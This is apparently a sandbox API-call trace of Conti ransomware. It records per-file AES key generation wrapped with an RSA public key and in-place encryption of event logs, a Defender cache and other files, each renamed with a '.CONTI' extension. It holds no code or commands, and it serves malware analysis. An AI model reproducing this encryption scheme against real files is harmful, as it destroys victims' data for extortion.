	[0135.767] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.67")) returned 0x20
	[0136.170] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.67"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0136.170] GetLastError () returned 0x0
	[0136.170] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=111259028) returned 1
	[0136.170] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6a1ad94
	[0136.170] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.170] SetEndOfFile (hFile=0x308) returned 1
	[0136.170] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0136.170] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.170] WriteFile (in: hFile=0x308, lpBuffer=0x6b4851c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4851c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0136.170] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0136.171] ReadFile (in: hFile=0x308, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x500000, lpOverlapped=0x0) returned 1
	[0136.878] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000) returned 1
	[0136.884] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.884] WriteFile (in: hFile=0x308, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x500000, lpOverlapped=0x0) returned 1
	[0139.203] ReadFile (in: hFile=0x308, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x500000, lpOverlapped=0x0) returned 1
	[0145.574] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000) returned 1
	[0145.583] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.583] WriteFile (in: hFile=0x308, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x500000, lpOverlapped=0x0) returned 1
	[0148.247] ReadFile (in: hFile=0x308, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x500000, lpOverlapped=0x0) returned 1
	[0152.944] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000) returned 1
	[0153.185] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0153.185] WriteFile (hFile=0x308, lpBuffer=0xbbf0000, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0) 

Thread:
	id = 159
	os_tid = 0xd74

	[0093.070] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xc100000
	[0093.070] CryptAcquireContextA (in: phProv=0x45bfa74, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x45bfa74*=0x1763c48) returned 1
	[0093.073] CryptImportKey (in: hProv=0x1763c48, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x45bfa70 | out: phKey=0x45bfa70*=0x175ddf0) returned 1
	[0093.073] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0093.637] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x175e3b0) returned 1
	[0093.637] CryptExportKey (in: hKey=0x175e3b0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x45bfa3c | out: pbData=0x17c5104*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0093.647] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80
	[0093.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.647] GetLastError () returned 0x0
	[0093.647] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=8876) returned 1
	[0093.647] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x22ac
	[0093.647] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.647] SetEndOfFile (hFile=0x33c) returned 1
	[0093.647] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.647] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.647] WriteFile (in: hFile=0x33c, lpBuffer=0x17c5104*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17c5104*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.649] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.649] ReadFile (in: hFile=0x33c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x22ac, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x22ac, lpOverlapped=0x0) returned 1
	[0093.650] CryptEncrypt (in: hKey=0x175e3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x22ac, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x22b0) returned 1
	[0093.650] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.650] WriteFile (in: hFile=0x33c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x22b0, lpOverlapped=0x0) returned 1
	[0093.650] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.650] WriteFile (in: hFile=0x33c, lpBuffer=0x17c50f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17c50f8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0093.651] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.651] CloseHandle (hObject=0x33c) returned 1
	[0093.651] GetProcessHeap () returned 0x1720000
	[0093.651] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.652] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1032\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf"
	[0093.652] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1032\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf.CONTI"
	[0093.652] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.conti")) returned 1
	[0093.653] GetProcessHeap () returned 0x1720000
	[0093.653] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.653] CryptDestroyKey (hKey=0x175e3b0) returned 1
	[0093.653] GetProcessHeap () returned 0x1720000
	[0093.653] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d328 | out: hHeap=0x1720000) returned 1
	[0093.653] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0094.178] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17d5d50 | out: phKey=0x17d5d50*=0x175e4b0) returned 1
	[0094.178] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5d54, pdwDataLen=0x45bfa3c | out: pbData=0x17d5d54*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0094.183] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80
	[0094.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.184] GetLastError () returned 0x0
	[0094.184] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=894) returned 1
	[0094.184] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37e
	[0094.184] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.184] SetEndOfFile (hFile=0x34c) returned 1
	[0094.184] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.184] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.184] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5d54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17d5d54*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0094.186] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.186] ReadFile (in: hFile=0x34c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x37e, lpOverlapped=0x0) returned 1
	[0094.186] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x37e, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x380) returned 1
	[0094.186] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.186] WriteFile (in: hFile=0x34c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x380, lpOverlapped=0x0) returned 1
	[0094.187] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.187] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5d48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17d5d48*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0094.187] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.187] CloseHandle (hObject=0x34c) returned 1
	[0094.188] GetProcessHeap () returned 0x1720000
	[0094.188] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.188] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico"
	[0094.188] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.CONTI"
	[0094.189] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.conti")) returned 1
	[0094.189] GetProcessHeap () returned 0x1720000
	[0094.189] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.189] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.189] GetProcessHeap () returned 0x1720000
	[0094.189] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3f50 | out: hHeap=0x1720000) returned 1
	[0094.189] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0095.285] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c84f0) returned 1
	[0095.285] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x45bfa3c | out: pbData=0x17d443c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0095.286] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20
	[0097.037] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0097.037] GetLastError () returned 0x0
	[0097.037] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=69632) returned 1
	[0097.041] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0097.041] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.041] SetEndOfFile (hFile=0x39c) returned 1
	[0097.041] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.041] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.042] WriteFile (in: hFile=0x39c, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0097.043] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.043] ReadFile (in: hFile=0x39c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x11000, lpOverlapped=0x0) returned 1
	[0097.045] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x11000, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x11010) returned 1
	[0097.045] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.045] WriteFile (in: hFile=0x39c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x11010, lpOverlapped=0x0) returned 1
	[0097.045] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.045] WriteFile (in: hFile=0x39c, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0097.045] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.045] CloseHandle (hObject=0x39c) returned 1
	[0097.047] GetProcessHeap () returned 0x1720000
	[0097.047] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.047] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Internet Explorer.evtx" | out: lpString1="C:\\Logs\\Internet Explorer.evtx") returned="C:\\Logs\\Internet Explorer.evtx"
	[0097.047] lstrcatW (in: lpString1="C:\\Logs\\Internet Explorer.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Internet Explorer.evtx.CONTI") returned="C:\\Logs\\Internet Explorer.evtx.CONTI"
	[0097.047] MoveFileW (lpExistingFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), lpNewFileName="C:\\Logs\\Internet Explorer.evtx.CONTI" (normalized: "c:\\logs\\internet explorer.evtx.conti")) returned 1
	[0097.048] GetProcessHeap () returned 0x1720000
	[0097.048] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.048] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0097.048] GetProcessHeap () returned 0x1720000
	[0097.048] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17343f0 | out: hHeap=0x1720000) returned 1
	[0097.048] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0097.552] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17e8d98 | out: phKey=0x17e8d98*=0x17c7e70) returned 1
	[0097.552] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e8d9c, pdwDataLen=0x45bfa3c | out: pbData=0x17e8d9c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0097.554] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20
	[0097.554] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.554] GetLastError () returned 0x0
	[0097.554] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=69632) returned 1
	[0097.554] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0097.554] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.554] SetEndOfFile (hFile=0x35c) returned 1
	[0097.554] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.554] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.554] WriteFile (in: hFile=0x35c, lpBuffer=0x17e8d9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17e8d9c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0097.555] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.555] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x11000, lpOverlapped=0x0) returned 1
	[0097.557] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x11000, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x11010) returned 1
	[0097.557] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.557] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x11010, lpOverlapped=0x0) returned 1
	[0097.557] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.557] WriteFile (in: hFile=0x35c, lpBuffer=0x17e8d90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17e8d90*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0097.557] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.557] CloseHandle (hObject=0x35c) returned 1
	[0097.559] GetProcessHeap () returned 0x1720000
	[0097.559] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.559] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx"
